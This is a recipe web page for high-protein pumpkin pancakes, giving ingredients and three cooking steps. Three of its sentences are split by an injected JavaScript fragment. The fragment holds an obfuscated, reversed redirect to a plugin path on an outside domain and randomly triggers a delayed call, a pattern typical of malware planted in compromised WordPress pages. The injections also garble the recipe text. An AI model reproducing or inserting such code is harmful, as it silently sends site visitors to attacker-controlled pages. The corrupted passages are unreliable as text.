Pumpkin pancakes

These pancakes help toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to satisfy a craving for something sweet and are packed with protein. Best of all, they are quick and easy toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make.

Ingredients

90g pumpkin puree

40g oatmeal

6 egg whites

2tsp baking powder

1/2tsp pumpkin spice

2 packets of zero-calorie sweetener

Splash of vanilla extract

Instructions

1. Grind the oatmeal in a blender and add the rest of the ingredients before blending again.
2. Heat a nonstick pan over a medium heat and spray with cooking spray.
3. Ladle approximately one quarter of the mixture intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the pan and cook each side for about a minute. Serve and enjoy!

Serves 1